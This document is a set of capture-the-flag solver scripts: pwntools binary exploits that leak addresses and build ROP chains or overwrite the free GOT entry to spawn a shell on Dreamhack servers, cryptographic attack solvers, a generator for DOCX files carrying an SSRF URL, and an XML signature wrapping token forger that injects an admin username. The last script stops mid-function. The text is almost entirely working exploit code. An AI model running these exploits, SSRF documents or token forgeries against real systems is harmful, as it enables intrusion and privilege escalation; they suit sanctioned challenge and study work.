from pwn import *

io = process("prob")
gdb.attach(io)
# io = remote("host3.dreamhack.games", 23046)

# leak base address
io.sendlineafter(b"What`s your name?\n", b"%13$p %21$p")
line = io.recvline().split(b' ')
base = int(line[0], 16) - 0x12cd
libc = int(line[1], 16) - 0x29d90
log.success(f"prob base = {hex(base)}")
log.success(f"libc base = {hex(libc)}")

# rwx whole program
io.sendlineafter(b"Enter Address: ", f"{base:x} 0x5000".encode())

# stage 1
# patch 0x149f from je (0x74) to jne (0x75)
io.sendlineafter(b"change only 1 byte (idx): ", str(0x149f).encode())
io.sendlineafter(b"change to (val): ", str(0x75).encode())
io.recvuntil(b"Stage 1 OK!")
log.success("Stage 1 OK!")

# stage 2
# patch 0x152d from jne (0x75) to je (0x74)
io.sendlineafter(b"change only 1 byte (idx): ", str(0x152d).encode())
io.sendlineafter(b"change to (val): ", str(0x74).encode())
io.recvuntil(b"Stage 2 OK!")
log.success("Stage 2 OK!")

# stage 3
# patch 0x15e0 from je (0x74) to jne (0x75)
io.sendlineafter(b"change only 1 byte (idx): ", str(0x15e0).encode())
io.sendlineafter(b"change to (val): ", str(0x75).encode())
io.recvuntil(b"Stage 3 OK!")
log.success("Stage 3 OK!")

# stage 4
# patch read size (0x162d) from 0x40 to 0xff
io.sendlineafter(b"change only 1 byte (idx): ", str(0x162d).encode())
io.sendlineafter(b"change to (val): ", str(0xff).encode())
payload = b"".join([
    b"a" * 64,
    p64(base + 0x4010 + 0x78), # address rbp-0x78 is writable
    p64(base + 0x14cb),
    p64(libc + 0x00000000000a8558), # 0x00000000000a8558 : xor edx, edx ; mov eax, edx ; ret
    p64(libc + 0xebc85) # 0xebc85 execve("/bin/sh", r10, rdx)
])
io.sendline(payload)

io.interactive()

from pwn import *

context.terminal = ["tmux", "splitw", "-h"]

# io = process("/home/pwn/prob")
# gdb.attach(io, gdbscript = "b *0x401a31")
io = remote("host1.dreamhack.games", 14835)

io.sendafter(b"What's your name?: ", b"name")

def register_book(no, price, author, title):
    io.sendlineafter(b"Select Menu: ", b"1")
    io.sendlineafter(b"Book No.: ", str(no).encode())
    io.sendlineafter(b"Book Price: ", str(price).encode())
    io.sendlineafter(b"Book Author: ", author.encode())
    io.sendlineafter(b"Book Title: ", title.encode())

def book_info(id, info):
    io.sendlineafter(b"Select Menu: ", b"2")
    io.sendlineafter(b"Book Index: ", str(id).encode())
    io.sendlineafter(b"Which Info?: ", str(info).encode())

def delete_book(id):
    io.sendlineafter(b"Select Menu: ", b"3")
    io.sendlineafter(b"Book Index: ", str(id).encode())

def edit_book(id, info, data):
    io.sendlineafter(b"Select Menu: ", b"4")
    io.sendlineafter(b"Book Index: ", str(id).encode())
    io.sendlineafter(b"Which Info?: ", str(info).encode())
    io.sendlineafter(b"Your Data: ", data)

register_book(0, 0, "/bin/sh", "/bin/sh")
register_book(1, 1, "author1", "title1")

# leak author0 heap address
book_info(1, -19)
author0 = int(io.recvline())
log.success(f"chunk of author0: {hex(author0)}")

# leak libc
book_info(0, (0x404020 - (author0 - 0x30) + 8) // 8)
libc = int(io.recvline()) - 0x84420
log.success(f"libc base: {hex(libc)}")

# change free got to system
edit_book(0, (0x404018 - (author0 - 0x30) + 8) // 8, str(libc + 0x52290).encode())

# trigger free (system)
delete_book(0)

io.interactive()

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CTF PGP-RSA quick solver
- Exploits q = nextPrime(p) → Fermat factorization
- Extracts session key from PKESK
- Decrypts message with GnuPG --override-session-key (if available)

Usage:
    python solve_pgprsa.py pub.asc enc.asc
"""

import sys
import base64
import math
import shutil
import subprocess
from typing import Tuple, List

# -----------------------------
# Helpers: ASCII Armor → bytes
# -----------------------------
def decode_armor(asc: str) -> bytes:
    lines = [ln.strip() for ln in asc.strip().splitlines()]
    in_body = False
    b64_lines = []
    for ln in lines:
        if ln.startswith("-----BEGIN"):
            in_body = True
            continue
        if ln.startswith("-----END"):
            break
        if not in_body:
            continue
        if not ln or ":" in ln:    # header lines or blanks
            continue
        if ln.startswith("=") and len(ln) <= 5:  # CRC24 line; ignore
            continue
        b64_lines.append(ln)
    return base64.b64decode("".join(b64_lines))

def read_file_or_armored(path: str) -> bytes:
    with open(path, "r", encoding="utf-8") as f:
        txt = f.read()
    return decode_armor(txt)

# -----------------------------
# Helpers: PGP packet parsing
#   (new-format header; partial lengths supported)
# -----------------------------
def parse_new_packet(data: bytes, offset: int) -> Tuple[int, bytes, int]:
    if offset >= len(data):
        raise ValueError("Offset beyond data")
    hdr = data[offset]
    assert hdr & 0x80, "Not a PGP packet"
    assert hdr & 0x40, "Old-format packet not supported here"
    tag = hdr & 0x3F
    offset += 1

    body = bytearray()
    while True:
        if offset >= len(data):
            raise ValueError("Truncated PGP length")
        l1 = data[offset]; offset += 1
        if l1 < 192:
            L = l1
            body += data[offset:offset+L]; offset += L
            break
        elif 192 <= l1 <= 223:
            if offset >= len(data): raise ValueError("Truncated two-octet length")
            l2 = data[offset]; offset += 1
            L = ((l1 - 192) << 8) + l2 + 192
            body += data[offset:offset+L]; offset += L
            break
        elif l1 == 255:
            if offset + 4 > len(data): raise ValueError("Truncated five-octet length")
            L = int.from_bytes(data[offset:offset+4], "big")
            offset += 4
            body += data[offset:offset+L]; offset += L
            break
        else:
            # partial body length: 224..254 → chunk = 1 << (l1 & 0x1F)
            L = 1 << (l1 & 0x1F)
            body += data[offset:offset+L]; offset += L
            # continue until a definite length terminates the packet
            continue

    return tag, bytes(body), offset

def parse_packets(data: bytes) -> List[Tuple[int, bytes]]:
    pkts = []
    off = 0
    while off < len(data):
        tag, body, off = parse_new_packet(data, off)
        pkts.append((tag, body))
    return pkts

# -----------------------------
# Helpers: MPI
# -----------------------------
def read_mpi(b: bytes, offset: int) -> Tuple[int, int]:
    if offset + 2 > len(b): raise ValueError("Truncated MPI")
    bitlen = int.from_bytes(b[offset:offset+2], "big")
    offset += 2
    bytelen = (bitlen + 7) // 8
    if offset + bytelen > len(b): raise ValueError("Truncated MPI payload")
    val = int.from_bytes(b[offset:offset+bytelen], "big")
    return val, offset + bytelen

# -----------------------------
# Step 1: parse pubkey → n,e
# -----------------------------
def parse_rsa_pub_from_pubasc(pub_bytes: bytes) -> Tuple[int, int]:
    pkts = parse_packets(pub_bytes)
    # First packet should be Tag 6: Public-Key
    tag6, body = pkts[0]
    assert tag6 == 6, "First packet is not Public-Key packet (tag 6)"
    ver = body[0]; assert ver == 4, "Unexpected public-key version"
    # body layout: [1]ver [4]ctime [1]algo [MPI]n [MPI]e
    algo = body[5]; assert algo == 1, "Not RSA pubkey"
    n, off = read_mpi(body, 6)
    e, off = read_mpi(body, off)
    return n, e

# -----------------------------
# Step 2: Fermat factorization
# -----------------------------
def fermat_factor(n: int) -> Tuple[int, int]:
    a = math.isqrt(n)
    if a * a < n:
        a += 1
    while True:
        b2 = a*a - n
        b = math.isqrt(b2)
        if b*b == b2:
            p = a - b
            q = a + b
            return (int(p), int(q))
        a += 1

# -----------------------------
# Step 3: parse enc.asc → PKESK, decrypt RSA to get session key
# -----------------------------
def parse_pkesk_and_cipher(enc_bytes: bytes) -> Tuple[bytes, bytes]:
    pkts = parse_packets(enc_bytes)
    # Expect [Tag1: PKESK], [Tag18: SEIPD]
    t1, pkesk = pkts[0]
    t18, seipd = pkts[1]
    assert t1 == 1, "First packet not PKESK (tag 1)"
    assert t18 == 18, "Second packet not SEIPD (tag 18)"
    return pkesk, seipd

def rsa_decrypt_pkesk_get_session_key(pkesk: bytes, d: int, n: int) -> Tuple[int, bytes]:
    # PKESK v3: [1]ver=3 [8]keyid [1]algo(1=RSA) [MPI]C
    assert pkesk[0] == 3, "Unsupported PKESK version (expect v3)"
    pubalgo = pkesk[9]; assert pubalgo == 1, "Not RSA-encrypted session key"
    C, _ = read_mpi(pkesk, 10)

    k = (n.bit_length() + 7) // 8
    m_int = pow(C, d, n)
    em = m_int.to_bytes(k, "big")
    # PKCS#1 v1.5: 0x00 0x02 [ps..nonzero..] 0x00 [1]sym_algo [key] [2]cksum
    assert em[0:2] == b"\x00\x02", "Bad PKCS#1 padding"
    sep = em.find(b"\x00", 2)
    assert sep > 0, "No 0x00 separator in PKCS#1 block"

    sym_algo = em[sep+1]
    sess_plus = em[sep+2:]
    if sym_algo == 9:   # AES-256
        keylen = 32
    elif sym_algo == 8: # AES-128
        keylen = 16
    elif sym_algo == 7: # AES-192
        keylen = 24
    else:
        raise ValueError(f"Unsupported symmetric algo id {sym_algo}")

    assert len(sess_plus) >= keylen + 2, "Session key payload too short"
    key = sess_plus[:keylen]
    cksum = int.from_bytes(sess_plus[keylen:keylen+2], "big")
    if (sum(key) % 65536) != cksum:
        raise ValueError("Bad session key checksum")

    return sym_algo, key

# -----------------------------
# Step 4: decrypt whole message with GPG (override-session-key)
# -----------------------------
def gpg_decrypt_with_session(enc_bytes: bytes, algo_id: int, key: bytes) -> bytes:
    exe = shutil.which("gpg") or shutil.which("gpg.exe")
    if not exe:
        return b""
    cmd = [exe, "--batch", "--yes", "--decrypt",
           "--override-session-key", f"{algo_id}:{key.hex()}"]
    p = subprocess.run(cmd, input=enc_bytes, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    if p.returncode != 0:
        # Return stderr so user can see what happened
        return b"[gpg error]\n" + p.stderr
    return p.stdout

# -----------------------------
# Main
# -----------------------------
def main():
    if len(sys.argv) != 3:
        print("Usage: python solve_pgprsa.py pub.asc enc.asc")
        sys.exit(1)

    pub_bytes = read_file_or_armored(sys.argv[1])
    enc_bytes = read_file_or_armored(sys.argv[2])

    # 1) parse RSA public key
    n, e = parse_rsa_pub_from_pubasc(pub_bytes)
    print(f"[+] e = {e}")
    print(f"[+] n bits = {n.bit_length()}")

    # 2) Fermat factorization
    p, q = fermat_factor(n)
    if p > q:
        p, q = q, p
    print(f"[+] p = {p}")
    print(f"[+] q = {q}")
    print(f"[+] q - p = {q - p}")

    # 3) private exponent
    phi = (p - 1) * (q - 1)
    d = pow(e, -1, phi)
    print(f"[+] d computed")

    # 4) parse PKESK & extract session key
    pkesk, seipd = parse_pkesk_and_cipher(enc_bytes)
    algo_id, sess_key = rsa_decrypt_pkesk_get_session_key(pkesk, d, n)
    print(f"[+] Symmetric algo id = {algo_id} (9 = AES-256)")
    print(f"[+] Session key (hex) = {sess_key.hex()}")

    # 5) try GPG to decrypt everything
    plaintext = gpg_decrypt_with_session(enc_bytes, algo_id, sess_key)
    if plaintext:
        print("\n[+] Decrypted plaintext:")
        try:
            print(plaintext.decode("utf-8"))
        except UnicodeDecodeError:
            print(plaintext)
    else:
        print("\n[!] gpg not found on PATH.")
        print("\tInstall GnuPG, then run:")
        print(f"\tgpg --batch --yes --decrypt --override-session-key {algo_id}:{sess_key.hex()} enc.asc")

if __name__ == "__main__":
    main()

import json, re, sys, os
import numpy as np
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# ------------ challenge-consistent primitives ------------
def tpm_output(w, x):
    local = np.einsum('ij,ij->i', w, x)   # (K,)
    sig = np.sign(local).astype(int)
    sig[sig == 0] = 1                     # 0 -> +1 per challenge
    tau = int(np.prod(sig))
    return tau, sig, local

def hebbian_update(w, x, sig, tau, L):
    # update only units with sig[i] == tau, then clip each coord to [-L, L]
    upd_mask = (sig == tau)
    w[upd_mask] = np.clip(w[upd_mask] + x[upd_mask], -L, L)
    return w

def get_key_from_w(w, L):
    bits = ''.join(f'{(int(v)+L):03b}' for v in w.flatten())
    key_bytes = int(bits, 2).to_bytes((len(bits)+7)//8, 'big')
    return hashlib.sha256(key_bytes).digest()[:16]

def try_decrypt_and_check_key(key, ct_bytes):
    # Try AES-ECB, expect PKCS#7 and a flag-like plaintext
    pt = AES.new(key, AES.MODE_ECB).decrypt(ct_bytes)
    try:
        pt = unpad(pt, 16)
    except ValueError:
        return None  # invalid padding -> reject
    # Heuristics for CTF flags (adjust as needed for your event)
    txt_ok = all(9 <= b <= 10 or b == 13 or (32 <= b <= 126) for b in pt)
    s = None
    if txt_ok:
        s = pt.decode('utf-8', errors='ignore')
        flagy = re.search(r'(?i)(?:flag|ctf|acsc)\{[^}]{0,200}\}', s)
        if flagy:
            return s  # looks like a flag
        # Fall-back: accept any clean ASCII line (you can tighten this)
        if len(s) <= 256 and '{' in s and '}' in s:
            return s
    return None

# ------------ attacks ------------
def geometric_attack(log, L=3, init="zero", rng=None):
    """One listener with flipping smallest |local| when tau mismatch."""
    x0 = np.array(log[0]["x"], dtype=int)
    K, N = x0.shape
    if init == "zero":
        w = np.zeros((K, N), dtype=int)
    elif init == "random":
        assert rng is not None
        w = rng.integers(-L, L+1, size=(K, N), dtype=int)
    else:
        raise ValueError("init must be 'zero' or 'random'")

    for entry in log:
        x = np.array(entry["x"], dtype=int)
        tau_obs = int(entry["tau"])
        tau_e, sig_e, local = tpm_output(w, x)
        if tau_e != tau_obs:
            i_flip = int(np.argmin(np.abs(local)))
            sig_e[i_flip] *= -1  # fix product with minimal change
        w = hebbian_update(w, x, sig_e, tau_obs, L)
    return w

def majority_flipping_attack(log, L=3, crowd=21, seeds=None):
    """
    Majority attack: keep a crowd of listeners, majority-vote each hidden unit's sign,
    then perform a single Hebbian update on a master w using the voted signs.
    Deterministic if 'seeds' is a list of ints you compute from log (see below).
    """
    x0 = np.array(log[0]["x"], dtype=int)
    K, N = x0.shape
    # init crowd
    listeners = []
    for idx in range(crowd):
        rng = np.random.default_rng(seeds[idx] if seeds is not None else idx)
        w = rng.integers(-L, L+1, size=(K, N), dtype=int)
        listeners.append(w)
    # master starts at 0 to avoid bias; could also average, but 0 is fine
    master = np.zeros((K, N), dtype=int)

    for entry in log:
        x = np.array(entry["x"], dtype=int)
        tau_obs = int(entry["tau"])
        # each listener proposes sig
        sigs = []
        locals_list = []
        for w in listeners:
            _, sig, local = tpm_output(w, x)
            sigs.append(sig)
            locals_list.append(np.abs(local))
        sigs = np.stack(sigs, axis=0)           # (crowd, K)
        locals_abs = np.stack(locals_list, 0)   # (crowd, K)

        # majority per hidden unit
        vote = np.sign(np.sum(sigs, axis=0)).astype(int)
        vote[vote == 0] = 1  # tie -> +1
        # ensure product matches tau_obs; if not, flip the unit with smallest avg |local|
        if int(np.prod(vote)) != tau_obs:
            flip_idx = int(np.argmin(np.mean(locals_abs, axis=0)))
            vote[flip_idx] *= -1

        # update master with voted signs
        master = hebbian_update(master, x, vote, tau_obs, L)
        # also update each listener with its own sig to keep them informative
        for i, w in enumerate(listeners):
            _, sig_i, _ = tpm_output(w, x)
            # if its product mismatches tau_obs, flip the listener's least-confident unit
            if int(np.prod(sig_i)) != tau_obs:
                # compute local again (avoid recompute eps)
                local_i = np.einsum('ij,ij->i', w, x)
                j = int(np.argmin(np.abs(local_i)))
                sig_i[j] *= -1
            listeners[i] = hebbian_update(w, x, sig_i, tau_obs, L)

    return master

# ------------ solver wrapper ------------
def solve_from_log_and_ct(log_path="log.json", ct_path="enc_flag.txt", L=3,
                          max_random_tries=200, crowd=21):
    with open(log_path, "r") as f:
        log = json.load(f)
    with open(ct_path, "rb") as f:
        ct = f.read()

    # 1) deterministic: zero-init geometric attack
    w = geometric_attack(log, L=L, init="zero", rng=None)
    key = get_key_from_w(w, L)
    pt = try_decrypt_and_check_key(key, ct)
    if pt is not None:
        return key, pt

    # 2) sweep multiple random inits (NO assumption: we verify each)
    #    seeds chosen deterministically from log -> reproducible & seed-free externally
    #    derive a base seed from the log so the whole process is fully determined by inputs
    log_bytes = json.dumps(log, separators=(",", ":")).encode()
    seed_base = int.from_bytes(hashlib.sha256(log_bytes).digest()[:8], "big")
    for t in range(max_random_tries):
        rng = np.random.default_rng(seed_base + t)
        w = geometric_attack(log, L=L, init="random", rng=rng)
        key = get_key_from_w(w, L)
        pt = try_decrypt_and_check_key(key, ct)
        if pt is not None:
            return key, pt

    # 3) majority flipping (ensemble), using deterministic seeds from the log
    seeds = [seed_base + 10_000 + i for i in range(crowd)]
    w = majority_flipping_attack(log, L=L, crowd=crowd, seeds=seeds)
    key = get_key_from_w(w, L)
    pt = try_decrypt_and_check_key(key, ct)
    if pt is not None:
        return key, pt

    return None, None

if __name__ == "__main__":
    log_path = sys.argv[1] if len(sys.argv) > 1 else "log.json"
    ct_path  = sys.argv[2] if len(sys.argv) > 2 else "enc_flag.txt"
    L = int(os.getenv("TPM_L", "3"))  # default per challenge
    key, pt = solve_from_log_and_ct(log_path, ct_path, L=L,
                                    max_random_tries=int(os.getenv("TPM_TRIES", "200")),
                                    crowd=int(os.getenv("TPM_CROWD", "21")))
    if key is None:
        print("[-] Failed to recover a key that decrypts to a plausible flag. Increase TPM_TRIES/TPM_CROWD.")
        sys.exit(2)
    print(f"[+] Recovered AES-128 key: {key.hex()}")
    print(f"[+] Decrypted plaintext:\n{pt}")

#!/usr/bin/env python3
from pwn import remote, context
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import re, sys

context.log_level = "error"

# Curve25519 prime p = 2^255 - 19
P = (1 << 255) - 19
UPPER_OK = P - 1  # server upper bound is strictly less than this

def i2le32(x: int) -> bytes:
    return int(x).to_bytes(32, "little")

def recv_until_prefix(r, prefix: str):
    while True:
        line = r.recvline().decode(errors="ignore")
        if not line:
            return None
        if line.startswith(prefix):
            return line.strip()

def decrypt_zero_key(hex_blob: str) -> str:
    blob = bytes.fromhex(hex_blob.strip())
    iv, ct = blob[:16], blob[16:]
    key = b"\x00" * 32
    pt = AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)
    return unpad(pt, 16).decode("utf-8", errors="ignore")

def try_with_pk(host, port, mitm_le: bytes):
    r = remote(host, int(port))

    # A: read line, answer MITM with our low-order key
    if recv_until_prefix(r, "Public Key of A:") is None:
        r.close(); return None
    r.recvuntil(b"MITM? [y/n] >>> "); r.sendline(b"y")
    r.recvuntil(b"MITM'd Public Key >>> "); r.sendline(mitm_le.hex().encode())

    # B: same
    if recv_until_prefix(r, "Public Key of B:") is None:
        r.close(); return None
    r.recvuntil(b"MITM? [y/n] >>> "); r.sendline(b"y")
    r.recvuntil(b"MITM'd Public Key >>> "); r.sendline(mitm_le.hex().encode())

    # Safety lines
    sa_line = r.recvline().decode(errors="ignore").strip()
    sb_line = r.recvline().decode(errors="ignore").strip()
    verdict  = r.recvline().decode(errors="ignore").strip()
    if "failed" in verdict.lower():
        r.close(); return None

    # Ciphertexts
    a_line = recv_until_prefix(r, "A:")
    b_line = recv_until_prefix(r, "B:")
    r.close()
    if not a_line or not b_line:
        return None

    a_hex = a_line.split("A:", 1)[1].strip()
    b_hex = b_line.split("B:", 1)[1].strip()

    a_pt = decrypt_zero_key(a_hex)
    b_pt = decrypt_zero_key(b_hex)

    # Extract backticked halves
    m1 = re.search(r"`([^`]+)`", a_pt)
    m2 = re.search(r"`([^`]+)`", b_pt)
    if not (m1 and m2):
        return None
    flag = m1.group(1) + m2.group(1)
    if len(flag) != 32:
        return None

    sa = re.search(r"(\d+)", sa_line)
    sb = re.search(r"(\d+)", sb_line)
    return {
        "flag": flag,
        "sa": sa.group(1) if sa else "?",
        "sb": sb.group(1) if sb else "?",
        "a_pt": a_pt,
        "b_pt": b_pt,
        "mitm_hex": mitm_le.hex(),
    }

def main():
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <host> <port>")
        sys.exit(1)
    host, port = sys.argv[1], sys.argv[2]

    # Two known order-8 Montgomery u-coordinates (little-endian integers) that
    # make x25519 output **all zero bytes**. Both satisfy 1 < u < 2^255-20.
    # Source (values to reject): cr.yp.to/ecdh/curve25519-20060209.pdf page list / site notes. :contentReference[oaicite:1]{index=1}
    u8_1 = 325606250916557431795983626356110631294008115727848805560023387167927233504
    u8_2 = 39382357235489614581723060781553021112529911719440698176882885853963445705823

    candidates = [u for u in (u8_1, u8_2) if 1 < u < UPPER_OK]
    for u in candidates:
        mitm_le = i2le32(u)
        res = try_with_pk(host, port, mitm_le)
        if res:
            print(f"[+] Safety A: {res['sa']}")
            print(f"[+] Safety B: {res['sb']}")
            print(f"[+] Used MITM u (LE hex): {res['mitm_hex']}")
            print(f"[+] Decrypted A: {res['a_pt']}")
            print(f"[+] Decrypted B: {res['b_pt']}")
            print(f"[+] FLAG: {res['flag']}")
            return

    print("[-] Both low-order candidates failed (unexpected for this challenge).")
    sys.exit(2)

if __name__ == "__main__":
    main()

#!/usr/bin/env python3
from pwn import *
import sys, time, random
import gmpy2 as g
from gmpy2 import mpz

context.log_level = "info"
MASK = mpz((1 << 64) - 1)

# ========== CRC (same as challenge) ==========
def crchash_bytes(data: bytes, p: mpz, crc_base: mpz = mpz(0)) -> mpz:
    crc = mpz(crc_base)
    for b in data:
        crc ^= mpz(b & 0xFF) << 56
        for _ in range(8):
            if (crc >> 63) & 1:
                crc = (crc << 1) ^ p
            else:
                crc = crc << 1
    return crc & MASK

# ========== GF(2) poly helpers on mpz ==========
def deg(f: mpz) -> int:
    return -1 if f == 0 else int(g.bit_length(f) - 1)

def poly_mod(a: mpz, b: mpz) -> mpz:
    db = deg(b)
    if db < 0:
        raise ValueError("mod by zero")
    r = mpz(a)
    while r and deg(r) >= db:
        r ^= b << (deg(r) - db)
    return r

def poly_gcd(a: mpz, b: mpz) -> mpz:
    x, y = mpz(a), mpz(b)
    while y:
        x, y = y, poly_mod(x, y)
    return x

# ========== Learn p by GCD across samples ==========
def fetch_sample(host, port, timeout=2.0):
    io = remote(host, int(port), timeout=timeout)
    try:
        m_line = io.recvline(timeout=1.0).strip()
        h_line = io.recvline(timeout=1.0).strip()
        m = mpz(m_line); h = mpz(h_line)
        # Close immediately; we won’t answer this instance
        return m, h
    finally:
        try:
            io.close()
        except Exception:
            pass

def learn_p_via_gcd(host, port, samples=20):
    log.info(f"[learn] collecting up to {samples} samples to recover p via GCD")
    T_gcd = mpz(0)
    t0 = time.perf_counter()
    got = 0
    for i in range(samples):
        m, h = fetch_sample(host, port)
        got += 1
        T = (m << 64) ^ h
        if T_gcd == 0:
            T_gcd = T
        else:
            T_gcd = poly_gcd(T_gcd, T)
        log.info(f"[learn] sample {i+1}: deg(T)={deg(T)}, current deg(gcd)={deg(T_gcd)}")
        # If gcd is bigger than 64, keep going; if exactly 64, we’re done.
        if deg(T_gcd) == 64:
            break
        # If gcd collapsed to 0/1 (shouldn’t), reset with new T
        if T_gcd in (0, 1):
            log.warning("[learn] gcd collapsed; resetting gcd with this T")
            T_gcd = T
    log.info(f"[learn] done in {time.perf_counter()-t0:.3f}s; deg(gcd)={deg(T_gcd)}")
    if deg(T_gcd) != 64:
        raise RuntimeError(f"Could not isolate degree-64 generator. Try more SAMPLES.")
    G = T_gcd
    p = (G ^ (mpz(1) << 64)) & MASK
    log.success(f"[learn] recovered p = 0x{int(p):016x}")
    return p

# ========== Build 8B map F and solve F x = h ==========
def build_F_rows(p: mpz):
    t0 = time.perf_counter()
    rows = [mpz(0)] * 64  # row i: mask of columns with 1
    for j in range(64):
        x_bytes = int(mpz(1) << j).to_bytes(8, 'big')  # probe bit j (LSB-index)
        y = crchash_bytes(x_bytes, p)
        y_int = int(y)
        for i in range(64):
            if (y_int >> i) & 1:
                rows[i] |= mpz(1) << j
    log.info(f"[F] built rows in {time.perf_counter()-t0:.3f}s")
    return rows

def solve_linear(F_rows, b64: mpz):
    rows = F_rows[:]                       # list[mpz], each a 64-bit row mask
    rhs = [ (int(b64) >> i) & 1 for i in range(64) ]
    where = [-1]*64
    r = 0
    for c in range(64):
        s = -1
        for i in range(r, 64):
            if (rows[i] >> c) & 1:
                s = i; break
        if s == -1: continue
        rows[r], rows[s] = rows[s], rows[r]
        rhs[r], rhs[s] = rhs[s], rhs[r]
        for i in range(64):
            if i != r and ((rows[i] >> c) & 1):
                rows[i] ^= rows[r]
                rhs[i] ^= rhs[r]
        where[c] = r
        r += 1

    for i in range(r, 64):
        if rows[i] == 0 and rhs[i] == 1:
            return False, 0, [], 0

    rank = sum(1 for c in where if c != -1)
    x = 0
    for c in range(63, -1, -1):
        rr = where[c]
        if rr == -1: continue
        if rhs[rr] & 1:
            x |= (1 << c)

    piv = {c for c, rr in enumerate(where) if rr != -1}
    free = [c for c in range(64) if c not in piv]
    basis = []
    for f in free:
        z = mpz(1) << f
        for c in range(63, -1, -1):
            rr = where[c]
            if rr == -1: continue
            rowmask = rows[rr] & ~(mpz(1) << c)
            if int(g.popcount(rowmask & z)) & 1:
                z ^= mpz(1) << c
        basis.append(z)
    return True, mpz(x), basis, rank

def enumerate_solutions(x0: mpz, basis, need=16):
    sols = {int(x0)}
    for b in basis:  # singletons
        sols.add(int(x0 ^ b))
        if len(sols) >= need: return list(sols)[:need]
    nb = len(basis)
    for i in range(nb):        # pairs
        for j in range(i+1, nb):
            sols.add(int(x0 ^ basis[i] ^ basis[j]))
            if len(sols) >= need: return list(sols)[:need]
    for i in range(nb):        # triples
        for j in range(i+1, nb):
            for k in range(j+1, nb):
                sols.add(int(x0 ^ basis[i] ^ basis[j] ^ basis[k]))
                if len(sols) >= need: return list(sols)[:need]
    # higher combos if needed
    for mask in range(1, 1 << min(nb, 12)):
        v = mpz(x0)
        for i in range(nb):
            if (mask >> i) & 1:
                v ^= basis[i]
        sols.add(int(v))
        if len(sols) >= need: return list(sols)[:need]
    return list(sols)

# ========== Solve a fresh instance (the one that returns the flag) ==========
def solve_one_instance(host, port, p: mpz):
    io = remote(host, int(port))
    try:
        m_line = io.recvline().strip()
        h_line = io.recvline().strip()
        m_int, h = mpz(m_line), mpz(h_line)
        log.info(f"[target] m bits={int(g.bit_length(m_int))}, h bits={int(g.bit_length(h))}")

        F = build_F_rows(p)
        ok, x0, ker, rank = solve_linear(F, h)
        if not ok:
            log.error("[F] inconsistent: no 8-byte preimage"); return
        kdim = 64 - rank
        log.info(f"[F] rank={rank}, kernel_dim={kdim}")
        if kdim < 4:
            log.error("[F] kernel too small (<4): cannot produce 16 distinct collisions"); return

        cands = enumerate_solutions(x0, ker, need=16)
        # spot-check a few locally
        chk = min(3, len(cands))
        okcnt = sum(1 for v in cands[:chk] if crchash_bytes(int(v).to_bytes(8,'big'), p) == h)
        log.info(f"[verify] spot-check {chk} -> {okcnt} matched")

        for v in cands[:16]:
            io.sendline(str(v).encode())

        line = io.recvline(timeout=2.0)
        if line:
            log.success(line.decode(errors="ignore").strip())
    finally:
        try: io.close()
        except Exception: pass

# ========== main ==========
def main():
    host = args.HOST or sys.exit("Set HOST=...")
    port = int(args.PORT or 0) or sys.exit("Set PORT=...")
    samples = int(args.SAMPLES) if "SAMPLES" in args else 20

    # 1) Learn p via gcd across multiple random (m,h)
    p = learn_p_via_gcd(host, port, samples=samples)

    # 2) Solve a fresh instance (flag)
    solve_one_instance(host, port, p)

if __name__ == "__main__":
    main()

import sys, zipfile, io

def make_doc(ssrf_url, out_path):
    content_types = """<?xml version="1.0" encoding="UTF-8"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
  <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
  <Default Extension="xml" ContentType="application/xml"/>
  <Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/>
</Types>"""
    rels_root = """<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
  <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/>
</Relationships>"""
    # 在文件內放一個 hyperlink（不是必要，但更保險確保關聯被載入）
    document_xml = """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
            xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
  <w:body>
    <w:p><w:r><w:t>hello</w:t></w:r></w:p>
    <w:hyperlink r:id="rId1337"><w:r><w:t>link</w:t></w:r></w:hyperlink>
  </w:body>
</w:document>"""
    # 關鍵：把「Type」塞成 SSRF URL
    doc_rels = f"""<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
  <Relationship Id="rId1337" Type="{ssrf_url}" Target="http://example.com" TargetMode="External"/>
</Relationships>"""
    with zipfile.ZipFile(out_path, "w", zipfile.ZIP_DEFLATED) as z:
        z.writestr("[Content_Types].xml", content_types)
        z.writestr("_rels/.rels", rels_root)
        z.writestr("word/document.xml", document_xml)
        z.writestr("word/_rels/document.xml.rels", doc_rels)

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: python {sys.argv[0]} <SSRF_URL> <OUT.docx>")
        sys.exit(1)
    make_doc(sys.argv[1], sys.argv[2])

import sys, base64

def b64url_decode(s: str) -> bytes:
    s += "=" * ((4 - len(s) % 4) % 4)
    return base64.urlsafe_b64decode(s.encode())

def b64url_encode(b: bytes) -> str:
    return base64.urlsafe_b64encode(b).decode().rstrip("=")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <tokenXml_base64url_from_issue>")
        sys.exit(1)

    signed_xml = b64url_decode(sys.argv[1]).decode("utf-8")
    wrapped = f"<root><Username>admin</Username>{signed_xml}</root>"
    print(b64url_encode(wrapped.encode("utf-8")))

# usage: sage solve.sage HOST PORT
from pwn import remote
import sys, time, signal

E = 3
VERBOSE = True

# Collect 4 x 25B = 100B of PS (>=93 needed)
MSG_LEN = 100
TESTS_PER_CONN = 4
SMALLROOTS_TIMEOUT = 5     # PS recovery small_roots timeout (s)
LLL_TIMEOUT = 20           # flag lattice timeout (s)

def log(msg):
    print(f"[{time.strftime('%H:%M:%S')}] {msg}", flush=True)

# ----------------- IO helpers (always close) -----------------
def recv_n(r):
    r.recvuntil(b"n:")
    rest = r.recvline().strip().decode()
